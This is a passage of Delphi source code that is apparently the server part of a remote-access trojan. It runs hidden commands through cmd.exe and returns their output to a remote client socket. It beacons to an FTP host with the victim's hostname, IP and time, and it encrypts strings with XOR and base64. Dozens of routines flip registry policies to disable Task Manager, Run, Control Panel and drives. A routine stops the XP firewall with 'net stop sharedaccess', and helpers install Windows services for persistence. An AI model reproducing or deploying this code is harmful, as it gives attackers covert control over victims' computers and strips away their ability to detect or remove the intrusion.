  1584. var  pApp,pOut   : array[ 0..MAX_PATH ] of Char;
  1585.      pathOut     : String;
  1586.      StartupInfo : TStartupInfo;
  1587.      ProcessInfo : TProcessInformation;
  1588.      SecAtrrs    : TSecurityAttributes;
  1589.      result      : boolean;
  1590.      hAppProcess, hAppThread, hOut: THandle;
  1591. begin
  1592.      pathOut := FindWindowsDir + 'tempout.txt';
  1593.      Result := FALSE;
  1594.      if EsXp then
  1595.         ConsolaApp := FindWindowsDir + 'System32cmd.exe /C ' + ConsolaApp
  1596.      else
  1597.         ConsolaApp := FindWindowsDir + 'command.com /C ' + ConsolaApp;
  1598.      StrPCopy( pApp, ConsolaApp );
  1599.      StrPCopy( pOut, pathOut );
  1600.      try
  1601.         FillChar( SecAtrrs, SizeOf( SecAtrrs ), #0 );
  1602.         SecAtrrs.nLength  := SizeOf( SecAtrrs );
  1603.         SecAtrrs.lpSecurityDescriptor := nil;
  1604.         SecAtrrs.bInheritHandle := True;
  1605.         hOut := CreateFile( pOut, GENERIC_READ or GENERIC_WRITE,
  1606.                             FILE_SHARE_READ or FILE_SHARE_WRITE,
  1607.                             @SecAtrrs, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, 0 );
  1608.         if hOut = INVALID_HANDLE_VALUE then
  1609.            Exit;
  1610.         FillChar( StartupInfo, SizeOf( StartupInfo ), #0 );
  1611.         StartupInfo.cb          := SizeOf( StartupInfo );
  1612.         StartupInfo.dwFlags     := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  1613.         StartupInfo.wShowWindow := SW_HIDE;
  1614.         StartupInfo.hStdOutput  := hOut;
  1615.         Result := CreateProcess( nil, pApp, nil, nil, True,
  1616.                                  CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS,
  1617.                                  nil, nil, StartupInfo, ProcessInfo );
  1618.         if Result then
  1619.         begin
  1620.              WaitForSingleObject( ProcessInfo.hProcess, INFINITE );
  1621.              hAppProcess := ProcessInfo.hProcess;
  1622.              hAppThread  := ProcessInfo.hThread;
  1623.         end;
  1624.         finally
  1625.             if hOut <> 0 then
  1626.                CloseHandle( hOut );
  1627.             if hAppThread  <> 0 then
  1628.                CloseHandle( hAppThread );
  1629.             if hAppProcess <> 0 then
  1630.                CloseHandle( hAppProcess );
  1631.             EnviarSalidaAlCliente  ( pathOut);
  1632.     end;
  1633. end;
  1634.     ///////////////////////////////////////////////////////////////////////////////
  1635. procedure LanzarProgramaConsola(App: string; c: Boolean; socket : tsocket);
  1636. var  id : cardinal;
  1637. begin
  1638.      Esconsola  := c;
  1639.      ConsolaApp := App;
  1640.      ConsoleSocket:= socket;
  1641.      BeginThread(nil, 0, @ShellCode, nil, 0, id );
  1642. end;
  1643.     ///////////////////////////////////////////////////////////////////////////////
  1644.  procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  1645.     var Addr      : TSockAddr;
  1646.     Sock      : TSocket;
  1647.     TypeBlock : Integer;
  1648.     HostEnt: PHostEnt;
  1649.   begin
  1650.      with addr do
  1651.      begin
  1652.           sin_family      := AF_INET;
  1653.           sin_port        := htons( Port );
  1654.           sin_addr.S_addr := Inet_Addr( PCHAR(Host)  );
  1655.      end;
  1656.      if addr.sin_addr.s_addr = -1 then
  1657.         begin
  1658.         HostEnt := GetHostByName(PChar(Host));
  1659.         if HostEnt = nil then
  1660.         begin
  1661.         // frmMain.MainMsg.ShowMessage('Failed Sended!');
  1662.         Exit;
  1663.         end;
  1664.         addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  1665.         end;
  1666.      //creo el socket con el que me voy a conectar al servidor FTP
  1667.      Sock := Socket( AF_INET, SOCK_STREAM, 0 );
  1668.      //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
  1669.      TypeBlock := 0;
  1670.      ioctlsocket( Sock, FIONBIO, TypeBlock );
  1671.      //intento la conexion, si connect devuelve 0 entonces estamos conectados
  1672.      if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
  1673.      begin
  1674.       //Result := TRUE;
  1675.       SendData (sock, 'USER ' + User+ #13#10);
  1676.       Sleep(100);
  1677.     SendData (Sock, 'PASS ' + PASS + #13#10);
  1678.     Sleep(100);
  1679.     if Dir<>''then begin
  1680.     SendData (Sock, 'CWD ' +  Dir + #13#10);
  1681.     end;
  1682.     Sleep(100);
  1683.     SendData (Sock, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  1684.     Sleep(100) ;
  1685.     SendData (sock, 'QUIT' + #13#10);
  1686.     Sleep(500);
  1687.    // frmMain.MainMsg.ShowMessage('FTP Notification Sended!');
  1688.     end
  1689.     else
  1690.     begin
  1691.        // Result := FALSE;
  1692.         CloseSocket( Sock );
  1693.        // frmMain.MainMsg.ShowMessage('Failed Sended!');
  1694.     end;
  1695. end;
  1696.     const
  1697.  C1 = 52845;
  1698.  C2 = 22719;
  1699. function Decode(const S: AnsiString): AnsiString;
  1700. const
  1701.   Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1702.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1703.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
  1704.     54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
  1705.     3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
  1706.     20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
  1707.     31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
  1708.     46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1709.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1710.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1711.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1712.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1713.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1714.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1715.     0);
  1716. var
  1717.   I: LongInt;
  1718. begin
  1719.   case Length(S) of
  1720.     2:
  1721.       begin
  1722.         I := Map[S[1]] + (Map[S[2]] shl 6);
  1723.         SetLength(Result, 1);
  1724.         Move(I, Result[1], Length(Result))
  1725.       end;
  1726.     3:
  1727.       begin
  1728.         I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
  1729.         SetLength(Result, 2);
  1730.         Move(I, Result[1], Length(Result))
  1731.       end;
  1732.     4:
  1733.       begin
  1734.         I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
  1735.           (Map[S[4]] shl 18);
  1736.         SetLength(Result, 3);
  1737.         Move(I, Result[1], Length(Result))
  1738.       end
  1739.   end
  1740. end;
  1741. function PreProcess(const S: AnsiString): AnsiString;
  1742. var
  1743.   SS: AnsiString;
  1744. begin
  1745.   SS := S;
  1746.   Result := '';
  1747.   while SS <> '' do
  1748.   begin
  1749.     Result := Result + Decode(Copy(SS, 1, 4));
  1750.     Delete(SS, 1, 4)
  1751.   end
  1752. end;
  1753. function InternalDecrypt(const S: AnsiString; Key: Word): AnsiString;
  1754. var
  1755.   I: Word;
  1756.   Seed: Word;
  1757. begin
  1758.   Result := S;
  1759.   Seed := Key;
  1760.   for I := 1 to Length(Result) do
  1761.   begin
  1762.     Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
  1763.     Seed := (Byte(S[I]) + Seed) * Word(C1) + Word(C2)
  1764.   end
  1765. end;
  1766. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  1767. begin
  1768.   Result := InternalDecrypt(PreProcess(S), Key)
  1769. end;
  1770. function Encode(const S: AnsiString): AnsiString;
  1771. const
  1772.   Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
  1773.     'abcdefghijklmnopqrstuvwxyz0123456789+/';
  1774. var
  1775.   I: LongInt;
  1776. begin
  1777.   I := 0;
  1778.   Move(S[1], I, Length(S));
  1779.   case Length(S) of
  1780.     1:
  1781.       Result := Map[I mod 64] + Map[(I shr 6) mod 64];
  1782.     2:
  1783.       Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
  1784.         Map[(I shr 12) mod 64];
  1785.     3:
  1786.       Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
  1787.         Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
  1788.   end
  1789. end;
  1790. function PostProcess(const S: AnsiString): AnsiString;
  1791. var
  1792.   SS: AnsiString;
  1793. begin
  1794.   SS := S;
  1795.   Result := '';
  1796.   while SS <> '' do
  1797.   begin
  1798.     Result := Result + Encode(Copy(SS, 1, 3));
  1799.     Delete(SS, 1, 3)
  1800.   end
  1801. end;
  1802. function InternalEncrypt(const S: AnsiString; Key: Word): AnsiString;
  1803. var
  1804.   I: Word;
  1805.   Seed: Word;
  1806. begin
  1807.   Result := S;
  1808.   Seed := Key;
  1809.   for I := 1 to Length(Result) do
  1810.   begin
  1811.     Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
  1812.     Seed := (Byte(Result[I]) + Seed) * Word(C1) + Word(C2)
  1813.   end
  1814. end;
  1815. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  1816. begin
  1817.   Result := PostProcess(InternalEncrypt(S, Key))
  1818. end;
  1819.   function Noclose(value : integer): string;
  1820. var h : HKEY;
  1821.     i : Integer;
  1822.     TmpInt: Integer;
  1823. BufSize: Integer;
  1824.  DataType: Integer;
  1825. begin
  1826.       BufSize := SizeOf(TmpInt);
  1827.    DataType := REG_DWORD ;
  1828.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1829.           exit;
  1830.       end;
  1831.                   if RegQueryValueEx(h, 'Noclose', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1832.             if   TmpInt= 0 then begin
  1833.               TmpInt:=1;
  1834.             end
  1835.             else
  1836.             begin
  1837.                TmpInt:=0;
  1838.             end;
  1839.                if   (TmpInt>1) then   TmpInt:=1;
  1840.           RegSetValueEx( h,   'Noclose' , 0, REG_DWORD,
  1841.            @TmpInt, SizeOf( TmpInt ) ) ;
  1842.           RegCloseKey( h );
  1843. end;
  1844.    function NoRun(value : integer): string;
  1845. var h : HKEY;
  1846.     i : Integer;
  1847.     TmpInt: Integer;
  1848. BufSize: Integer;
  1849.  DataType: Integer;
  1850. begin
  1851.       BufSize := SizeOf(TmpInt);
  1852.    DataType := REG_DWORD ;
  1853.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1854.           exit;
  1855.       end;
  1856.                    if RegQueryValueEx(h, 'NoRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1857.             if   TmpInt= 0 then begin
  1858.               TmpInt:=1;
  1859.             end
  1860.             else
  1861.             begin
  1862.                TmpInt:=0;
  1863.             end;
  1864.             if   (TmpInt>1) then   TmpInt:=1;
  1865.           RegSetValueEx( h,   'NoRun' , 0, REG_DWORD,
  1866.            @TmpInt, SizeOf( TmpInt ) ) ;
  1867.           RegCloseKey( h );
  1868. end;
  1869.    function NoLogoff(value : integer): string;
  1870. var h : HKEY;
  1871.     i : Integer;
  1872.     TmpInt: Integer;
  1873. BufSize: Integer;
  1874.  DataType: Integer;
  1875. begin
  1876.       BufSize := SizeOf(TmpInt);
  1877.    DataType := REG_DWORD ;
  1878.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1879.           exit;
  1880.       end;
  1881.                      if RegQueryValueEx(h, 'NoLogoff', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1882.             if   TmpInt= 0 then begin
  1883.               TmpInt:=1;
  1884.             end
  1885.             else
  1886.             begin
  1887.                TmpInt:=0;
  1888.             end;
  1889.                   if   (TmpInt>1) then   TmpInt:=1;
  1890.           RegSetValueEx( h,   'NoLogoff' , 0, REG_DWORD,
  1891.            @TmpInt, SizeOf( TmpInt ) ) ;
  1892.           RegCloseKey( h );
  1893. end;
  1894.     function NoDesktop(value : integer): string;
  1895. var h : HKEY;
  1896.     i : Integer;
  1897.     TmpInt: Integer;
  1898. BufSize: Integer;
  1899.  DataType: Integer;
  1900. begin
  1901.       BufSize := SizeOf(TmpInt);
  1902.    DataType := REG_DWORD ;
  1903.         if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1904.           exit;
  1905.       end;
  1906.                   if RegQueryValueEx(h, 'NoDesktop', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1907.             if   TmpInt= 0 then begin
  1908.               TmpInt:=1;
  1909.             end
  1910.             else
  1911.             begin
  1912.                TmpInt:=0;
  1913.             end;
  1914.            if   (TmpInt>1) then   TmpInt:=1;
  1915.           RegSetValueEx( h,   'NoDesktop' , 0, REG_DWORD,
  1916.            @TmpInt, SizeOf( TmpInt ) ) ;
  1917.           RegCloseKey( h );
  1918. end;
  1919.      function NoFind (value : integer): string;
  1920. var h : HKEY;
  1921.     i : Integer;
  1922.     TmpInt: Integer;
  1923. BufSize: Integer;
  1924.  DataType: Integer;
  1925. begin
  1926.       BufSize := SizeOf(TmpInt);
  1927.    DataType := REG_DWORD ;
  1928.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1929.           exit;
  1930.       end;
  1931.                        if RegQueryValueEx(h, 'NoFind', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1932.             if   TmpInt= 0 then begin
  1933.               TmpInt:=1;
  1934.             end
  1935.             else
  1936.             begin
  1937.                TmpInt:=0;
  1938.             end;
  1939.                  if   (TmpInt>1) then   TmpInt:=1;
  1940.           RegSetValueEx( h,   'NoFind' , 0, REG_DWORD,
  1941.            @TmpInt, SizeOf( TmpInt ) ) ;
  1942.           RegCloseKey( h );
  1943. end;
  1944.       function NoNetConnectDisconnect (value : integer): string;
  1945. var h : HKEY;
  1946.     i : Integer;
  1947.     TmpInt: Integer;
  1948. BufSize: Integer;
  1949.  DataType: Integer;
  1950. begin
  1951.       BufSize := SizeOf(TmpInt);
  1952.    DataType := REG_DWORD ;
  1953.           if RegCreateKey ( HKEY_Current_User ,'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1954.           exit;
  1955.       end;
  1956.                     if RegQueryValueEx(h, 'NoNetConnectDisconnectr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1957.             if   TmpInt= 0 then begin
  1958.               TmpInt:=1;
  1959.             end
  1960.             else
  1961.             begin
  1962.                TmpInt:=0;
  1963.             end;
  1964.                     if   (TmpInt>1) then   TmpInt:=1;
  1965.           RegSetValueEx( h,   'NoNetConnectDisconnect' , 0, REG_DWORD,
  1966.            @TmpInt, SizeOf( TmpInt ) ) ;
  1967.           RegCloseKey( h );
  1968. end;
  1969.      function NoSetFolders(value : integer): string;
  1970. var h : HKEY;
  1971.     i : Integer;
  1972.     TmpInt: Integer;
  1973. BufSize: Integer;
  1974.  DataType: Integer;
  1975. begin
  1976.       BufSize := SizeOf(TmpInt);
  1977.    DataType := REG_DWORD ;
  1978.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  1979.           exit;
  1980.       end;
  1981.                       if RegQueryValueEx(h, 'NoSetFolders', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  1982.             if   TmpInt= 0 then begin
  1983.               TmpInt:=1;
  1984.             end
  1985.             else
  1986.             begin
  1987.                TmpInt:=0;
  1988.             end;
  1989.                    if   (TmpInt>1) then   TmpInt:=1;
  1990.           RegSetValueEx( h,   'NoSetFolders' , 0, REG_DWORD,
  1991.            @TmpInt, SizeOf( TmpInt ) ) ;
  1992.           RegCloseKey( h );
  1993. end;
  1994.      function NoControlPanel(value : integer): string;
  1995. var h : HKEY;
  1996.     i : Integer;
  1997.     TmpInt: Integer;
  1998. BufSize: Integer;
  1999.  DataType: Integer;
  2000. begin
  2001.       BufSize := SizeOf(TmpInt);
  2002.    DataType := REG_DWORD ;
  2003.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2004.           exit;
  2005.       end;
  2006.                       if RegQueryValueEx(h, 'NoControlPanel', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2007.             if   TmpInt= 0 then begin
  2008.               TmpInt:=1;
  2009.             end
  2010.             else
  2011.             begin
  2012.                TmpInt:=0;
  2013.             end;
  2014.                    if   (TmpInt>1) then   TmpInt:=1;
  2015.           RegSetValueEx( h,   'NoControlPanel' , 0, REG_DWORD,
  2016.            @TmpInt, SizeOf( TmpInt ) ) ;
  2017.           RegCloseKey( h );
  2018. end;
  2019.      function NoDrives (value : integer): string;
  2020. var h : HKEY;
  2021.     i : Integer;
  2022.     TmpInt: Integer;
  2023. BufSize: Integer;
  2024.  DataType: Integer;
  2025. begin
  2026.       BufSize := SizeOf(TmpInt);
  2027.    DataType := REG_DWORD ;
  2028.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2029.           exit;
  2030.       end;
  2031.                        if RegQueryValueEx(h, 'NoDrives', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2032.             if   TmpInt= 0 then begin
  2033.               TmpInt:=1;
  2034.             end
  2035.             else
  2036.             begin
  2037.                TmpInt:=0;
  2038.             end;
  2039.            if   (TmpInt>1) then   TmpInt:=1;
  2040.           RegSetValueEx( h,   'NoDrives' , 0, REG_DWORD,
  2041.            @TmpInt, SizeOf( TmpInt ) ) ;
  2042.           RegCloseKey( h );
  2043. end;
  2044.      function ResrictRun(value : integer): string;
  2045. var h : HKEY;
  2046.     i : Integer;
  2047.     TmpInt: Integer;
  2048. BufSize: Integer;
  2049.  DataType: Integer;
  2050. begin
  2051.       BufSize := SizeOf(TmpInt);
  2052.    DataType := REG_DWORD ;
  2053.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
  2054.           exit;
  2055.       end;
  2056.                       if RegQueryValueEx(h, 'ResrictRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2057.             if   TmpInt= 0 then begin
  2058.               TmpInt:=1;
  2059.             end
  2060.             else
  2061.             begin
  2062.                TmpInt:=0;
  2063.             end;
  2064.                 if   (TmpInt>1) then   TmpInt:=1;
  2065.           RegSetValueEx( h,   'ResrictRun' , 0, REG_DWORD,
  2066.            @TmpInt, SizeOf( TmpInt ) ) ;
  2067.           RegCloseKey( h );
  2068. end;
  2069.    //System
  2070.         function DisableTaskMgr(value : integer): string;
  2071. var h : HKEY;
  2072.     i : Integer;
  2073.     TmpInt: Integer;
  2074.  BufSize: Integer;
  2075.  DataType: Integer;
  2076. begin
  2077.       BufSize := SizeOf(TmpInt);
  2078.    DataType := REG_DWORD ;
  2079.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2080.           exit;
  2081.       end;
  2082.             if RegQueryValueEx(h, 'DisableTaskMgr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2083.             if   TmpInt= 0 then begin
  2084.               TmpInt:=1;
  2085.             end
  2086.             else
  2087.             begin
  2088.                TmpInt:=0;
  2089.             end;
  2090.           if   (TmpInt>1) then   TmpInt:=1;
  2091.           RegSetValueEx( h,   'DisableTaskMgr' , 0, REG_DWORD,
  2092.            @TmpInt, SizeOf( TmpInt ) ) ;
  2093.           RegCloseKey( h );
  2094. end;
  2095.   function NoDispCPL(value : integer): string;
  2096. var h : HKEY;
  2097.     i : Integer;
  2098.     TmpInt: Integer;
  2099. BufSize: Integer;
  2100.  DataType: Integer;
  2101. begin
  2102.       BufSize := SizeOf(TmpInt);
  2103.    DataType := REG_DWORD ;
  2104.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2105.           exit;
  2106.       end;
  2107.                         if RegQueryValueEx(h, 'NoDispCPL', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2108.             if   TmpInt= 0 then begin
  2109.               TmpInt:=1;
  2110.             end
  2111.             else
  2112.             begin
  2113.                TmpInt:=0;
  2114.             end;
  2115.                if   (TmpInt>1) then   TmpInt:=1;
  2116.           RegSetValueEx( h,   'NoDispCPL' , 0, REG_DWORD,
  2117.            @TmpInt, SizeOf( TmpInt ) ) ;
  2118.           RegCloseKey( h );
  2119. end;
  2120.  function NoDispBackgroundPage(value : integer): string;
  2121. var h : HKEY;
  2122.     i : Integer;
  2123.     TmpInt: Integer;
  2124. BufSize: Integer;
  2125.  DataType: Integer;
  2126. begin
  2127.       BufSize := SizeOf(TmpInt);
  2128.    DataType := REG_DWORD ;
  2129.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
  2130.           exit;
  2131.       end;
  2132.                          if RegQueryValueEx(h, 'NoDispBackgroundPage', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2133.             if   TmpInt= 0 then begin
  2134.               TmpInt:=1;
  2135.             end
  2136.             else
  2137.             begin
  2138.                TmpInt:=0;
  2139.             end;
  2140.               if   (TmpInt>1) then   TmpInt:=1;
  2141.           RegSetValueEx( h,   'NoDispBackgroundPage' , 0, REG_DWORD,
  2142.            @TmpInt, SizeOf( TmpInt ) ) ;
  2143.           RegCloseKey( h );
  2144. end;
  2145.   //Network
  2146.    function NoWorkgroupContents(value : integer): string;
  2147. var h : HKEY;
  2148.     i : Integer;
  2149.     TmpInt: Integer;
  2150. BufSize: Integer;
  2151.  DataType: Integer;
  2152. begin
  2153.       BufSize := SizeOf(TmpInt);
  2154.    DataType := REG_DWORD ;
  2155.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2156.           exit;
  2157.       end;
  2158.                       if RegQueryValueEx(h, 'NoWorkgroupContents', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2159.             if   TmpInt= 0 then begin
  2160.               TmpInt:=1;
  2161.             end
  2162.             else
  2163.             begin
  2164.                TmpInt:=0;
  2165.             end;
  2166.              if   (TmpInt>1) then   TmpInt:=1;
  2167.           RegSetValueEx( h,   'NoWorkgroupContents' , 0, REG_DWORD,
  2168.            @TmpInt, SizeOf( TmpInt ) ) ;
  2169.           RegCloseKey( h );
  2170. end;
  2171.    function NoEntireNetwork(value : integer): string;
  2172. var h : HKEY;
  2173.     i : Integer;
  2174.     TmpInt: Integer;
  2175. BufSize: Integer;
  2176.  DataType: Integer;
  2177. begin
  2178.       BufSize := SizeOf(TmpInt);
  2179.    DataType := REG_DWORD ;
  2180.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2181.           exit;
  2182.       end;
  2183.                      if RegQueryValueEx(h, 'NoEntireNetwork', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2184.             if   TmpInt= 0 then begin
  2185.               TmpInt:=1;
  2186.             end
  2187.             else
  2188.             begin
  2189.                TmpInt:=0;
  2190.             end;
  2191.            if   (TmpInt>1) then   TmpInt:=1;
  2192.           RegSetValueEx( h,   'NoEntireNetwork' , 0, REG_DWORD,
  2193.            @TmpInt, SizeOf( TmpInt ) ) ;
  2194.           RegCloseKey( h );
  2195. end;
  2196.    function NoFileSharingControl(value : integer): string;
  2197. var h : HKEY;
  2198.     i : Integer;
  2199.     TmpInt: Integer;
  2200. BufSize: Integer;
  2201.  DataType: Integer;
  2202. begin
  2203.       BufSize := SizeOf(TmpInt);
  2204.    DataType := REG_DWORD ;
  2205.           if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2206.           exit;
  2207.       end;
  2208.                      if RegQueryValueEx(h, 'NoFileSharingControl', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2209.             if   TmpInt= 0 then begin
  2210.               TmpInt:=1;
  2211.             end
  2212.             else
  2213.             begin
  2214.                TmpInt:=0;
  2215.             end;
  2216.                if   (TmpInt>1) then   TmpInt:=1;
  2217.           RegSetValueEx( h,   'NoFileSharingControl' , 0, REG_DWORD,
  2218.            @TmpInt, SizeOf( TmpInt ) ) ;
  2219.           RegCloseKey( h );
  2220. end;
  2221.    function NoPrintSharing(value : integer): string;
  2222. var h : HKEY;
  2223.     i : Integer;
  2224.     TmpInt: Integer;
  2225. BufSize: Integer;
  2226.  DataType: Integer;
  2227. begin
  2228.       BufSize := SizeOf(TmpInt);
  2229.    DataType := REG_DWORD ;
  2230.           if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
  2231.           exit;
  2232.       end;
  2233.                       if RegQueryValueEx(h, 'NoPrintSharing', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
  2234.             if   TmpInt= 0 then begin
  2235.               TmpInt:=1;
  2236.             end
  2237.             else
  2238.             begin
  2239.                TmpInt:=0;
  2240.             end;
  2241.               if   (TmpInt>1) then   TmpInt:=1;
  2242.           RegSetValueEx( h,   'NoPrintSharing' , 0, REG_DWORD,
  2243.            @TmpInt, SizeOf( TmpInt ) ) ;
  2244.           RegCloseKey( h );
  2245. end;
  2246. procedure DisableXPFirewall;
  2247.     begin
  2248. shellexecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
  2249. end;
  2250. procedure SetmousePOS(x : integer; y : integer);
  2251. begin
  2252.     SetCursorPos (x, y);
  2253. end;
  2254. procedure InstallService32(Machine, ServiceName, DisplayName, FileName: string);
  2255. var
  2256.   SCManager: SC_Handle;
  2257.   Service: SC_Handle;
  2258. begin
  2259.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2260.   if SCManager = 0 then Exit;
  2261.   try
  2262.     Service := CreateService(SCManager, PChar(ServiceName), PChar(DisplayName), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, PChar(FileName), nil, nil, nil, nil, nil);
  2263.     CloseServiceHandle(Service);
  2264.   finally
  2265.     CloseServiceHandle(SCManager);
  2266.   end;
  2267. end;
  2268. procedure UninstallService32(Machine, ServiceName: string);
  2269. var
  2270.   SCManager: SC_Handle;
  2271.   Service: SC_Handle;
  2272. begin
  2273.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2274.   if SCManager = 0 then Exit;
  2275.   try
  2276.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2277.     DeleteService(Service);
  2278.     CloseServiceHandle(Service);
  2279.   finally
  2280.     CloseServiceHandle(SCManager);
  2281.   end;
  2282. end;
  2283. procedure StopService32(Machine, ServiceName: string);
  2284. var
  2285.   SCManager: SC_Handle;
  2286.   Service: SC_Handle;
  2287.   ServiceStatus: TServiceStatus;
  2288. begin
  2289.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2290.   if SCManager = 0 then Exit;
  2291.   try
  2292.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2293.     WinSvc.ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
  2294.     CloseServiceHandle(Service);
  2295.   finally
  2296.     CloseServiceHandle(SCManager);
  2297.   end;
  2298. end;
  2299. procedure StartService32(Machine, ServiceName: string);
  2300. var
  2301.   SCManager: SC_Handle;
  2302.   Service: SC_Handle;
  2303.   Args: pchar;
  2304. begin
  2305.   SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  2306.   if SCManager = 0 then Exit;
  2307.   try
  2308.     Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
  2309.     Args := nil;
  2310.     WinSvc.StartService(Service, 0, Args);
  2311.     CloseServiceHandle(Service);
  2312.   finally
